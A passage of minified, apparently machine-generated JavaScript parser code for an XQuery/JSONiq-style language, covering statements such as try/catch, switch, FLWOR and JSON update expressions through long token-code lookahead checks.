=92948||_l==93215||_l==93216||_l==93460||_l==94239||_l==94240||_l==94484||_l==94751||_l==94752||_l==94996||_l==95263||_l==95264||_l==95508||_l==97823||_l==97824||_l==98068||_l==98335||_l==98336||_l==98580||_l==99359||_l==99360||_l==99604||_l==101407||_l==101408||_l==101652||_l==101919||_l==101920||_l==102164||_l==102431||_l==102432||_l==102676||_l==102943||_l==102944||_l==103188||_l==103455||_l==103456||_l==103700||_l==103967||_l==103968||_l==104212||_l==105503||_l==105504||_l==105748||_l==108575||_l==108576||_l==108820||_l==109087||_l==109088||_l==109332||_l==110623||_l==110624||_l==110868||_l==111647||_l==111648||_l==111892||_l==112159||_l==112160||_l==112404||_l==112671||_l==112672||_l==112916||_l==113183||_l==113184||_l==113428||_l==113695||_l==113696||_l==113940||_l==114719||_l==114720||_l==114964||_l==115231||_l==115232||_l==115476||_l==115743||_l==115744||_l==115988||_l==116255||_l==116256||_l==116500||_l==116767||_l==116768||_l==117012||_l==117279||_l==117280||_l==117524||_l==119839||_l==119840||_l==120084||_l==120351||_l==120352||_l==120596||_l==120863||_l==120864||_l==121108||_l==121375||_l==121376||_l==121620||_l==122911||_l==122912||_l==123156||_l==123935||_l==123936||_l==124180||_l==124447||_l==124448||_l==124692||_l==124959||_l==124960||_l==125204||_l==127007||_l==127008||_l==127252||_l==127519||_l==127520||_l==127764||_l==128031||_l==128032||_l==128276||_l==128543||_l==128544||_l==128788||_l==129055||_l==129056||_l==129300||_l==129567||_l==129568||_l==129812||_l==130079||_l==130080||_l==130324||_l==131103||_l==131104||_l==131348||_l==131615||_l==131616||_l==131860||_l==133151||_l==133152||_l==133396||_l==133663||_l==133664||_l==133908||_l==134175||_l==134176||_l==134420||_l==134687||_l==134688||_l==134932||_l==136223||_l==136224||_l==136468||_l==136735||_l==136736||_l==136980||_l==138271||_l==138272||_l==138516||_l==140319||_l==140320||_l==140564||_l==141588||_l==142612||_l==144660){_l=Kl(7,Pl);if(_l==0){var e=Dl,t=Pl,n=Hl,r=Bl,i=jl,s=Fl,o=Il,u=ql;try{Ya(),Jl(7,t,-1),_l=-15}catch(a){try{Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),ef(),Jl(7,t,-2),_l=-15}catch(f){try{Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),nf(),Jl(7,t,-3),_l=-15}catch(l){try{Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),kf(),Jl(7,t,-12),_l=-15}catch(c){_l=-13,Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),Jl(7,t,-13)}}}}}}switch(_l){case-2:ef();break;case-3:nf();break;case 90198:sf();break;case 90214:uf();break;case 113284:ff();break;case 16009:case 16046:case 116910:case 119945:case 128649:cf();break;case 17560:vf();break;case 17651:gf();break;case 141562:Ef();break;case 17661:xf();break;case-12:case 16134:kf();break;case-13:Af();break;case 53:Mf();break;case-15:break;default:Ya()}}function Ga(){Vl.startNonterminal(\"ApplyStatement\",Pl),Pf(),Sl(53),Vl.endNonterminal(\"ApplyStatement\",Pl)}function Ya(){Hf(),xl(53)}function Za(){Vl.startNonterminal(\"AssignStatement\",Pl),Sl(31),kl(255),Nl(),hi(),kl(27),Sl(52),kl(267),Nl(),_f(),Sl(53),Vl.endNonterminal(\"AssignStatement\",Pl)}function ef(){xl(31),kl(255),pi(),kl(27),xl(52),kl(267),Df(),xl(53)}function tf(){Vl.startNonterminal(\"BlockStatement\",Pl),Sl(276),kl(277),Nl(),za(),Sl(282),Vl.endNonterminal(\"BlockStatement\",Pl)}function nf(){xl(276),kl(277),Wa(),xl(282)}function rf(){Vl.startNonterminal(\"BreakStatement\",Pl),Sl(86),kl(59),Sl(176),kl(28),Sl(53),Vl.endNonterminal(\"BreakStatement\",Pl)}function sf(){xl(86),kl(59),xl(176),kl(28),xl(53)}function of(){Vl.startNonterminal(\"ContinueStatement\",Pl),Sl(102),kl(59),Sl(176),kl(28),Sl(53),Vl.endNonterminal(\"ContinueStatement\",Pl)}function uf(){xl(102),kl(59),xl(176),kl(28),xl(53)}function af(){Vl.startNonterminal(\"ExitStatement\",Pl),Sl(132),kl(71),Sl(221),kl(267),Nl(),_f(),Sl(53),Vl.endNonterminal(\"ExitStatement\",Pl)}function ff(){xl(132),kl(71),xl(221),kl(267),Df(),xl(53)}function lf(){Vl.startNonterminal(\"FLWORStatement\",Pl),tt();for(;;){kl(173);if(Hl==220)break;Nl(),rt()}Nl(),hf(),Vl.endNonterminal(\"FLWORStatement\",Pl)}function cf(){nt();for(;;){kl(173);if(Hl==220)break;it()}pf()}function hf(){Vl.startNonterminal(\"ReturnStatement\",Pl),Sl(220),kl(270),Nl(),Ka(),Vl.endNonterminal(\"ReturnStatement\",Pl)}function pf(){xl(220),kl(270),Qa()}function df(){Vl.startNonterminal(\"IfStatement\",Pl),Sl(152),kl(22),Sl(34),kl(267),Nl(),G(),Sl(37),kl(77),Sl(245),kl(270),Nl(),Ka(),kl(48),Sl(122),kl(270),Nl(),Ka(),Vl.endNonterminal(\"IfStatement\",Pl)}function vf(){xl(152),kl(22),xl(34),kl(267),Y(),xl(37),kl(77),xl(245),kl(270),Qa(),kl(48),xl(122),kl(270),Qa()}function mf(){Vl.startNonterminal(\"SwitchStatement\",Pl),Sl(243),kl(22),Sl(34),kl(267),Nl(),G(),Sl(37);for(;;){kl(35),Nl(),yf(),kl(113);if(Hl!=88)break}Sl(109),kl(70),Sl(220),kl(270),Nl(),Ka(),Vl.endNonterminal(\"SwitchStatement\",Pl)}function gf(){xl(243),kl(22),xl(34),kl(267),Y(),xl(37);for(;;){kl(35),bf(),kl(113);if(Hl!=88)break}xl(109),kl(70),xl(220),kl(270),Qa()}function yf(){Vl.startNonterminal(\"SwitchCaseStatement\",Pl);for(;;){Sl(88),kl(267),Nl(),dn();if(Hl!=88)break}Sl(220),kl(270),Nl(),Ka(),Vl.endNonterminal(\"SwitchCaseStatement\",Pl)}function bf(){for(;;){xl(88),kl(267),vn();if(Hl!=88)break}xl(220),kl(270),Qa()}function wf(){Vl.startNonterminal(\"TryCatchStatement\",Pl),Sl(250),kl(87),Nl(),tf();for(;;){kl(36),Sl(91),kl(257),Nl(),_n(),Nl(),tf(),kl(278);switch(Hl){case 91:Ll(279);break;default:_l=Hl}if(_l==38491||_l==45659||_l==46171||_l==60507||_l==65627||_l==67163||_l==74843||_l==76891||_l==77403||_l==82011||_l==83035||_l==84059||_l==88155||_l==91227||_l==92251||_l==95323||_l==102491||_l==127067||_l==127579||_l==130139){_l=Kl(8,Pl);if(_l==0){var e=Dl,t=Pl,n=Hl,r=Bl,i=jl,s=Fl,o=Il,u=ql;try{kl(36),xl(91),kl(257),Dn(),nf(),_l=-1}catch(a){_l=-2}Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),Jl(8,Pl,_l)}}if(_l!=-1&&_l!=2651&&_l!=3163&&_l!=35931&&_l!=36955&&_l!=37467&&_l!=37979&&_l!=39515&&_l!=40027&&_l!=40539&&_l!=41051&&_l!=41563&&_l!=42075&&_l!=42587&&_l!=43099&&_l!=43611&&_l!=44123&&_l!=45147&&_l!=46683&&_l!=47707&&_l!=48219&&_l!=49243&&_l!=49755&&_l!=50267&&_l!=51803&&_l!=52315&&_l!=52827&&_l!=53339&&_l!=53851&&_l!=54363&&_l!=55387&&_l!=55899&&_l!=56411&&_l!=56923&&_l!=57435&&_l!=57947&&_l!=61019&&_l!=61531&&_l!=62043&&_l!=62555&&_l!=63067&&_l!=63579&&_l!=64091&&_l!=64603&&_l!=66139&&_l!=67675&&_l!=68187&&_l!=68699&&_l!=69211&&_l!=69723&&_l!=70235&&_l!=72283&&_l!=74331&&_l!=75867&&_l!=77915&&_l!=78427&&_l!=78939&&_l!=79451&&_l!=81499&&_l!=82523&&_l!=83547&&_l!=84571&&_l!=85083&&_l!=85595&&_l!=87131&&_l!=87643&&_l!=89179&&_l!=90203&&_l!=92763&&_l!=93275&&_l!=94299&&_l!=94811&&_l!=97883&&_l!=98395&&_l!=99419&&_l!=101467&&_l!=101979&&_l!=103003&&_l!=103515&&_l!=104027&&_l!=105563&&_l!=108635&&_l!=109147&&_l!=110683&&_l!=111707&&_l!=112219&&_l!=112731&&_l!=113243&&_l!=113755&&_l!=114779&&_l!=115291&&_l!=115803&&_l!=116315&&_l!=116827&&_l!=117339&&_l!=119899&&_l!=120411&&_l!=120923&&_l!=121435&&_l!=122971&&_l!=123995&&_l!=124507&&_l!=125019&&_l!=128091&&_l!=128603&&_l!=129115&&_l!=129627&&_l!=131163&&_l!=131675&&_l!=133211&&_l!=133723&&_l!=134235&&_l!=134747&&_l!=136283&&_l!=136795&&_l!=138331&&_l!=140379)break}Vl.endNonterminal(\"TryCatchStatement\",Pl)}function Ef(){xl(250),kl(87),nf(),kl(36),xl(91),kl(257),Dn(),nf();for(;;){kl(278);switch(Hl){case 91:Ll(279);break;default:_l=Hl}if(_l==38491||_l==45659||_l==46171||_l==60507||_l==65627||_l==67163||_l==74843||_l==76891||_l==77403||_l==82011||_l==83035||_l==84059||_l==88155||_l==91227||_l==92251||_l==95323||_l==102491||_l==127067||_l==127579||_l==130139){_l=Kl(8,Pl);if(_l==0){var e=Dl,t=Pl,n=Hl,r=Bl,i=jl,s=Fl,o=Il,u=ql;try{kl(36),xl(91),kl(257),Dn(),nf(),Jl(8,t,-1);continue}catch(a){Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),Jl(8,t,-2);break}}}if(_l!=-1&&_l!=2651&&_l!=3163&&_l!=35931&&_l!=36955&&_l!=37467&&_l!=37979&&_l!=39515&&_l!=40027&&_l!=40539&&_l!=41051&&_l!=41563&&_l!=42075&&_l!=42587&&_l!=43099&&_l!=43611&&_l!=44123&&_l!=45147&&_l!=46683&&_l!=47707&&_l!=48219&&_l!=49243&&_l!=49755&&_l!=50267&&_l!=51803&&_l!=52315&&_l!=52827&&_l!=53339&&_l!=53851&&_l!=54363&&_l!=55387&&_l!=55899&&_l!=56411&&_l!=56923&&_l!=57435&&_l!=57947&&_l!=61019&&_l!=61531&&_l!=62043&&_l!=62555&&_l!=63067&&_l!=63579&&_l!=64091&&_l!=64603&&_l!=66139&&_l!=67675&&_l!=68187&&_l!=68699&&_l!=69211&&_l!=69723&&_l!=70235&&_l!=72283&&_l!=74331&&_l!=75867&&_l!=77915&&_l!=78427&&_l!=78939&&_l!=79451&&_l!=81499&&_l!=82523&&_l!=83547&&_l!=84571&&_l!=85083&&_l!=85595&&_l!=87131&&_l!=87643&&_l!=89179&&_l!=90203&&_l!=92763&&_l!=93275&&_l!=94299&&_l!=94811&&_l!=97883&&_l!=98395&&_l!=99419&&_l!=101467&&_l!=101979&&_l!=103003&&_l!=103515&&_l!=104027&&_l!=105563&&_l!=108635&&_l!=109147&&_l!=110683&&_l!=111707&&_l!=112219&&_l!=112731&&_l!=113243&&_l!=113755&&_l!=114779&&_l!=115291&&_l!=115803&&_l!=116315&&_l!=116827&&_l!=117339&&_l!=119899&&_l!=120411&&_l!=120923&&_l!=121435&&_l!=122971&&_l!=123995&&_l!=124507&&_l!=125019&&_l!=128091&&_l!=128603&&_l!=129115&&_l!=129627&&_l!=131163&&_l!=131675&&_l!=133211&&_l!=133723&&_l!=134235&&_l!=134747&&_l!=136283&&_l!=136795&&_l!=138331&&_l!=140379)break;kl(36),xl(91),kl(257),Dn(),nf()}}function Sf(){Vl.startNonterminal(\"TypeswitchStatement\",Pl),Sl(253),kl(22),Sl(34),kl(267),Nl(),G(),Sl(37);for(;;){kl(35),Nl(),Tf(),kl(113);if(Hl!=88)break}Sl(109),kl(95),Hl==31&&(Sl(31),kl(255),Nl(),hi()),kl(70),Sl(220),kl(270),Nl(),Ka(),Vl.endNonterminal(\"TypeswitchStatement\",Pl)}function xf(){xl(253),kl(22),xl(34),kl(267),Y(),xl(37);for(;;){kl(35),Nf(),kl(113);if(Hl!=88)break}xl(109),kl(95),Hl==31&&(xl(31),kl(255),pi()),kl(70),xl(220),kl(270),Qa()}function Tf(){Vl.startNonterminal(\"CaseStatement\",Pl),Sl(88),kl(262),Hl==31&&(Sl(31),kl(255),Nl(),hi(),kl(30),Sl(79)),kl(260),Nl(),ms(),kl(70),Sl(220),kl(270),Nl(),Ka(),Vl.endNonterminal(\"CaseStatement\",Pl)}function Nf(){xl(88),kl(262),Hl==31&&(xl(31),kl(255),pi(),kl(30),xl(79)),kl(260),gs(),kl(70),xl(220),kl(270),Qa()}function Cf(){Vl.startNonterminal(\"VarDeclStatement\",Pl);for(;;){kl(98);if(Hl!=32)break;Nl(),B()}Sl(262),kl(21),Sl(31),kl(255),Nl(),hi(),kl(157),Hl==79&&(Nl(),ds()),kl(145),Hl==52&&(Sl(52),kl(267),Nl(),_f());for(;;){if(Hl!=41)break;Sl(41),kl(21),Sl(31),kl(255),Nl(),hi(),kl(157),Hl==79&&(Nl(),ds()),kl(145),Hl==52&&(Sl(52),kl(267),Nl(),_f())}Sl(53),Vl.endNonterminal(\"VarDeclStatement\",Pl)}function kf(){for(;;){kl(98);if(Hl!=32)break;j()}xl(262),kl(21),xl(31),kl(255),pi(),kl(157),Hl==79&&vs(),kl(145),Hl==52&&(xl(52),kl(267),Df());for(;;){if(Hl!=41)break;xl(41),kl(21),xl(31),kl(255),pi(),kl(157),Hl==79&&vs(),kl(145),Hl==52&&(xl(52),kl(267),Df())}xl(53)}function Lf(){Vl.startNonterminal(\"WhileStatement\",Pl),Sl(267),kl(22),Sl(34),kl(267),Nl(),G(),Sl(37),kl(270),Nl(),Ka(),Vl.endNonterminal(\"WhileStatement\",Pl)}function Af(){xl(267),kl(22),xl(34),kl(267),Y(),xl(37),kl(270),Qa()}function Of(){Vl.startNonterminal(\"VoidStatement\",Pl),Sl(53),Vl.endNonterminal(\"VoidStatement\",Pl)}function Mf(){xl(53)}function _f(){Vl.startNonterminal(\"ExprSingle\",Pl);switch(Hl){case 137:Ll(236);break;case 174:Ll(233);break;case 250:Ll(232);break;case 152:case 243:case 253:Ll(229);break;default:_l=Hl}switch(_l){case 16009:case 16046:case 116910:case 119945:case 128649:Z();break;case 17560:Sn();break;case 17651:ln();break;case 141562:Tn();break;case 17661:mn();break;default:Pf()}Vl.endNonterminal(\"ExprSingle\",Pl)}function Df(){switch(Hl){case 137:Ll(236);break;case 174:Ll(233);break;case 250:Ll(232);break;case 152:case 243:case 253:Ll(229);break;default:_l=Hl}switch(_l){case 16009:case 16046:case 116910:case 119945:case 128649:et();break;case 17560:xn();break;case 17651:cn();break;case 141562:Nn();break;case 17661:gn();break;default:Hf()}}function Pf(){Vl.startNonterminal(\"ExprSimple\",Pl);switch(Hl){case 77:Ll(231);break;case 218:Ll(234);break;case 219:Ll(235);break;case 110:case 159:Ll(237);break;case 103:case 129:case 235:Ll(230);break;default:_l=Hl}if(_l==133851){_l=Kl(9,Pl);if(_l==0){var e=Dl,t=Pl,n=Hl,r=Bl,i=jl,s=Fl,o=Il,u=ql;try{Ho(),_l=-6}catch(a){_l=-11}Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),Jl(9,Pl,_l)}}switch(_l){case 16001:case 16107:on();break;case 97951:case 98463:Oo();break;case 97902:case 98414:_o();break;case 98010:Bo();break;case-6:case 98011:Po();break;case 15975:Wo();break;case 85102:Bf();break;case 85151:Ff();break;case 85210:qf();break;case-11:Uf();break;case 85069:Wf();break;default:Pn()}Vl.endNonterminal(\"ExprSimple\",Pl)}function Hf(){switch(Hl){case 77:Ll(231);break;case 218:Ll(234);break;case 219:Ll(235);break;case 110:case 159:Ll(237);break;case 103:case 129:case 235:Ll(230);break;default:_l=Hl}if(_l==133851){_l=Kl(9,Pl);if(_l==0){var e=Dl,t=Pl,n=Hl,r=Bl,i=jl,s=Fl,o=Il,u=ql;try{Ho(),Jl(9,t,-6),_l=-13}catch(a){_l=-11,Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),Jl(9,t,-11)}}}switch(_l){case 16001:case 16107:un();break;case 97951:case 98463:Mo();break;case 97902:case 98414:Do();break;case 98010:jo();break;case-6:case 98011:Ho();break;case 15975:Xo();break;case 85102:jf();break;case 85151:If();break;case 85210:Rf();break;case-11:zf();break;case 85069:Xf();break;case-13:break;default:Hn()}}function Bf(){Vl.startNonterminal(\"JSONDeleteExpr\",Pl),Sl(110),kl(56),Sl(166),kl(264),Nl(),Yr(),Vl.endNonterminal(\"JSONDeleteExpr\",Pl)}function jf(){xl(110),kl(56),xl(166),kl(264),Zr()}function Ff(){Vl.startNonterminal(\"JSONInsertExpr\",Pl);switch(Hl){case 159:Ll(56);break;default:_l=Hl}_l=Kl(10,Pl);if(_l==0){var e=Dl,t=Pl,n=Hl,r=Bl,i=jl,s=Fl,o=Il,u=ql;try{xl(159),kl(56),xl(166),kl(267),Df(),xl(163),kl(267),Df();switch(Hl){case 81:Ll(69);break;default:_l=Hl}if(_l==108113){_l=Kl(11,Pl);if(_l==0){var a=Dl,f=Pl,l=Hl,c=Bl,h=jl,p=Fl,d=Il,v=ql;try{xl(81),kl(69),xl(211),kl(267),Df(),Jl(11,f,-1)}catch(m){Dl=a,Pl=f,Hl=l,Hl==0?Zl=f:(Bl=c,jl=h,Fl=p,Fl==0?Zl=h:(Il=d,ql=v,Zl=v)),Jl(11,f,-2)}_l=-2}}_l==-1&&(xl(81),kl(69),xl(211),kl(267),Df()),_l=-1}catch(g){_l=-2}Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),Jl(10,Pl,_l)}switch(_l){case-1:Sl(159),kl(56),Sl(166),kl(267),Nl(),_f(),Sl(163),kl(267),Nl(),_f();switch(Hl){case 81:Ll(69);break;default:_l=Hl}if(_l==108113){_l=Kl(11,Pl);if(_l==0){var a=Dl,f=Pl,l=Hl,c=Bl,h=jl,p=Fl,d=Il,v=ql;try{xl(81),kl(69),xl(211),kl(267),Df(),_l=-1}catch(m){_l=-2}Dl=a,Pl=f,Hl=l,Hl==0?Zl=f:(Bl=c,jl=h,Fl=p,Fl==0?Zl=h:(Il=d,ql=v,Zl=v)),Jl(11,Pl,_l)}}_l==-1&&(Sl(81),kl(69),Sl(211),kl(267),Nl(),_f());break;default:Sl(159),kl(56),Sl(166),kl(267),Nl(),hl(),Sl(163),kl(267),Nl(),_f()}Vl.endNonterminal(\"JSONInsertExpr\",Pl)}function If(){switch(Hl){case 159:Ll(56);break;default:_l=Hl}_l=Kl(10,Pl);if(_l==0){var e=Dl,t=Pl,n=Hl,r=Bl,i=jl,s=Fl,o=Il,u=ql;try{xl(159),kl(56),xl(166),kl(267),Df(),xl(163),kl(267),Df();switch(Hl){case 81:Ll(69);break;default:_l=Hl}if(_l==108113){_l=Kl(11,Pl);if(_l==0){var a=Dl,f=Pl,l=Hl,c=Bl,h=jl,p=Fl,d=Il,v=ql;try{xl(81),kl(69),xl(211),kl(267),Df(),Jl(11,f,-1)}catch(m){Dl=a,Pl=f,Hl=l,Hl==0?Zl=f:(Bl=c,jl=h,Fl=p,Fl==0?Zl=h:(Il=d,ql=v,Zl=v)),Jl(11,f,-2)}_l=-2}}_l==-1&&(xl(81),kl(69),xl(211),kl(267),Df()),Jl(10,t,-1),_l=-3}catch(g){_l=-2,Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),Jl(10,t,-2)}}switch(_l){case-1:xl(159),kl(56),xl(166),kl(267),Df(),xl(163),kl(267),Df();switch(Hl){case 81:Ll(69);break;default:_l=Hl}if(_l==108113){_l=Kl(11,Pl);if(_l==0){var a=Dl,f=Pl,l=Hl,c=Bl,h=jl,p=Fl,d=Il,v=ql;try{xl(81),kl(69),xl(211),kl(267),Df(),Jl(11,f,-1)}catch(m){Dl=a,Pl=f,Hl=l,Hl==0?Zl=f:(Bl=c,jl=h,Fl=p,Fl==0?Zl=h:(Il=d,ql=v,Zl=v)),Jl(11,f,-2)}_l=-2}}_l==-1&&(xl(81),kl(69),xl(211),kl(267),Df());break;case-3:break;default:xl(159),kl(56),xl(166),kl(267),pl(),xl(163),kl(267),Df()}}function qf(){Vl.startNonterminal(\"JSONRenameExpr\",Pl),Sl(218),kl(56),Sl(166),kl(264),Nl(),Yr(),Sl(79),kl(267),Nl(),_f(),Vl.endNonterminal(\"JSONRenameExpr\",Pl)}function Rf(){xl(218),kl(56),xl(166),kl(264),Zr(),xl(79),kl(267),Df()}function Uf(){Vl.startNonterminal(\"JSONReplaceExpr\",Pl),Sl(219),kl(82),Sl(261),kl(64),Sl(196),kl(56),Sl(166),kl(264),Nl(),Yr(),Sl(270),kl(267),Nl(),_f(),Vl.endNonterminal(\"JSONReplaceExpr\",Pl)}function zf(){xl(219),kl(82),xl(261),kl(64),xl(196),kl(56),xl(166),kl(264),Zr(),xl(270),kl(267),Df()}function Wf(){Vl.startNonterminal(\"JSONAppendExpr\",Pl),Sl(77),kl(56),Sl(166),kl(267),Nl(),_f(),Sl(163),kl(267),Nl(),_f(),Vl.endNonterminal(\"JSONAppendExpr\",Pl)}function Xf(){xl(77),kl(56),xl(166),kl(267),Df(),xl(163),kl(267),Df()}function Vf(){Vl.startNonterminal(\"CommonContent\",Pl);switch(Hl){case 12:Sl(12);break;case 23:Sl(23);break;case 277:Sl(277);break;case 283:Sl(283);break;default:yl()}Vl.endNonterminal(\"CommonContent\",Pl)}function $f(){switch(Hl){case 12:xl(12);break;case 23:xl(23);break;case 277:xl(277);break;case 283:xl(283);break;default:bl()}}function Jf(){Vl.startNonterminal(\"ContentExpr\",Pl),Xa(),Vl.endNonterminal(\"ContentExpr\",Pl)}function Kf(){Va()}function Qf(){Vl.startNonterminal(\"CompDocConstructor\",Pl),Sl(119),kl(87),Nl(),yl(),Vl.endNonterminal(\"CompDocConstructor\",Pl)}function Gf(){xl(119),kl(87),bl()}function Yf(){Vl.startNonterminal(\"CompAttrConstructor\",Pl),Sl(82),kl(258);switch(Hl){case 276:Sl(276),kl(267),Nl(),G(),Sl(282);break;default:Nl(),Ha()}kl(87);switch(Hl){case 276:Ll(277);break;default:_l=Hl}if(_l==144660){_l=Kl(12,Pl);if(_l==0){var e=Dl,t=Pl,n=Hl,r=Bl,i=jl,s=Fl,o=Il,u=ql;try{xl(276),kl(88),xl(282),_l=-1}catch(a){_l=-2}Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),Jl(12,Pl,_l)}}switch(_l){case-1:Sl(276),kl(88),Sl(282);break;default:Nl(),yl()}Vl.endNonterminal(\"CompAttrConstructor\",Pl)}function Zf(){xl(82),kl(258);switch(Hl){case 276:xl(276),kl(267),Y(),xl(282);break;default:Ba()}kl(87);switch(Hl){case 276:Ll(277);break;default:_l=Hl}if(_l==144660){_l=Kl(12,Pl);if(_l==0){var e=Dl,t=Pl,n=Hl,r=Bl,i=jl,s=Fl,o=Il,u=ql;try{xl(276),kl(88),xl(282),Jl(12,t,-1),_l=-3}catch(a){_l=-2,Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),Jl(12,t,-2)}}}switch(_l){case-1:xl(276),kl(88),xl(282);break;case-3:break;default:bl()}}function el(){Vl.startNonterminal(\"CompPIConstructor\",Pl),Sl(216),kl(251);switch(Hl){case 276:Sl(276),kl(267),Nl(),G(),Sl(282);break;default:Nl(),Ia()}kl(87);switch(Hl){case 276:Ll(277);break;default:_l=Hl}if(_l==144660){_l=Kl(13,Pl);if(_l==0){var e=Dl,t=Pl,n=Hl,r=Bl,i=jl,s=Fl,o=Il,u=ql;try{xl(276),kl(88),xl(282),_l=-1}catch(a){_l=-2}Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),Jl(13,Pl,_l)}}switch(_l){case-1:Sl(276),kl(88),Sl(282);break;default:Nl(),yl()}Vl.endNonterminal(\"CompPIConstructor\",Pl)}function tl(){xl(216),kl(251);switch(Hl){case 276:xl(276),kl(267),Y(),xl(282);break;default:qa()}kl(87);switch(Hl){case 276:Ll(277);break;default:_l=Hl}if(_l==144660){_l=Kl(13,Pl);if(_l==0){var e=Dl,t=Pl,n=Hl,r=Bl,i=jl,s=Fl,o=Il,u=ql;try{xl(276),kl(88),xl(282),Jl(13,t,-1),_l=-3}catch(a){_l=-2,Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),Jl(13,t,-2)}}}switch(_l){case-1:xl(276),kl(88),xl(282);break;case-3:break;default:bl()}}function nl(){Vl.startNonterminal(\"CompCommentConstructor\",Pl),Sl(96),kl(87),Nl(),yl(),Vl.endNonterminal(\"CompCommentConstructor\",Pl)}function rl(){xl(96),kl(87),bl()}function il(){Vl.startNonterminal(\"CompTextConstructor\",Pl),Sl(244),kl(87),Nl(),yl(),Vl.endNonterminal(\"CompTextConstructor\",Pl)}function sl(){xl(244),kl(87),bl()}function ol(){Vl.startNonterminal(\"PrimaryExpr\",Pl);switch(Hl){case 184:Ll(256);break;case 216:Ll(254);break;case 276:Ll(277);break;case 82:case 121:Ll(259);break;case 96:case 244:Ll(93);break;case 119:case 202:case 256:Ll(139);break;case 6:case 70:case 72:case 73:case 74:case 75:case 77:case 79:case 80:case 81:case 83:case 84:case 85:case 86:case 88:case 89:case 90:case 91:case 93:case 94:case 97:case 98:case 101:case 102:case 103:case 104:case 105:case 106:case 108:case 109:case 110:case 111:case 112:case 113:case 118:case 122:case 123:case 125:case 126:case 128:case 129:case 131:case 132:case 133:case 134:case 135:case 136:case 137:case 141:case 146:case 148:case 150:case 151:case 153:case 154:case 155:case 159:case 160:case 161:case 162:case 163:case 164:case 166:case 170:case 171:case 172:case 174:case 176:case 178:case 180:case 181:case 182:case 186:case 192:case 194:case 198:case 199:case 200:case 201:case 203:case 206:case 212:case 213:case 218:case 219:case 220:case 221:case 222:case 224:case 225:case 228:case 229:case 234:case 235:case 236:case 237:case 240:case 248:case 249:case 250:case 251:case 252:case 254:case 257:case 260:case 261:case 262:case 263:case 266:case 267:case 270:case 274:Ll(92);break;default:_l=Hl}if(_l==2836||_l==3348||_l==4372||_l==4884||_l==5396||_l==5908||_l==16148||_l==16660||_l==17684||_l==18196||_l==20756||_l==21780||_l==22804||_l==23316||_l==23828||_l==24340||_l==27924||_l==28436||_l==30484||_l==34068||_l==35092||_l==36116||_l==37140||_l==37652||_l==38164||_l==38676||_l==39700||_l==40212||_l==40724||_l==41236||_l==41748||_l==42260||_l==42772||_l==43284||_l==43796||_l==44308||_l==45332||_l==45844||_l==46356||_l==46868||_l==47892||_l==48404||_l==49428||_l==49940||_l==50452||_l==51988||_l==52500||_l==53012||_l==53524||_l==54036||_l==54548||_l==55572||_l==56084||_l==56596||_l==57108||_l==57620||_l==58132||_l==60692||_l==61204||_l==61716||_l==62228||_l==62740||_l==63252||_l==63764||_l==64276||_l==64788||_l==65812||_l==66324||_l==67348||_l==67860||_l==68372||_l==68884||_l==69396||_l==69908||_l==70420||_l==72468||_l==74516||_l==75028||_l==76052||_l==77076||_l==77588||_l==78100||_l==78612||_l==79124||_l==79636||_l==81684||_l==82196||_l==82708||_l==83220||_l==83732||_l==84244||_l==84756||_l==85268||_l==85780||_l==87316||_l==87828||_l==88340||_l==89364||_l==90388||_l==91412||_l==92436||_l==92948||_l==93460||_l==94484||_l==94996||_l==95508||_l==98068||_l==98580||_l==99604||_l==101652||_l==102164||_l==102676||_l==103188||_l==103700||_l==104212||_l==105748||_l==108820||_l==109332||_l==110868||_l==111892||_l==112404||_l==112916||_l==113428||_l==113940||_l==114964||_l==115476||_l==115988||_l==116500||_l==117012||_l==117524||_l==120084||_l==120596||_l==121108||_l==121620||_l==123156||_l==124180||_l==124692||_l==125204||_l==127252||_l==127764||_l==128276||_l==128788||_l==129300||_l==129812||_l==130324||_l==131348||_l==131860||_l==133396||_l==133908||_l==134420||_l==134932||_l==136468||_l==136980||_l==138516||_l==140564||_l==141588||_l==142612||_l==144660){_l=Kl(14,Pl);if(_l==0){var e=Dl,t=Pl,n=Hl,r=Bl,i=jl,s=Fl,o=Il,u=ql;try{bl(),_l=-10}catch(a){_l=-11}Dl=e,Pl=t,Hl=n,Hl==0?Zl=t:(Bl=r,jl=i,Fl=s,Fl==0?Zl=i:(Il=o,ql=u,Zl=u)),Jl(14,Pl,_l)}}switch(_l){case 8:case 9:case 10:case 11:oi();break;case 31:li();break;case 34:di();break;case 44:mi();break;case 17414:case 17478:case 17480:case 17481:case 17482:case 17483:case 17485:case 17487:case 17488:case 17489:case 17491:case 17492:case 17493:case 17494:case 17496:case 17497:case 17498:case 17499:case 17501:case 17502:case 17505:case 17506:case 17509:case 17510:case 17511:case 17512:case 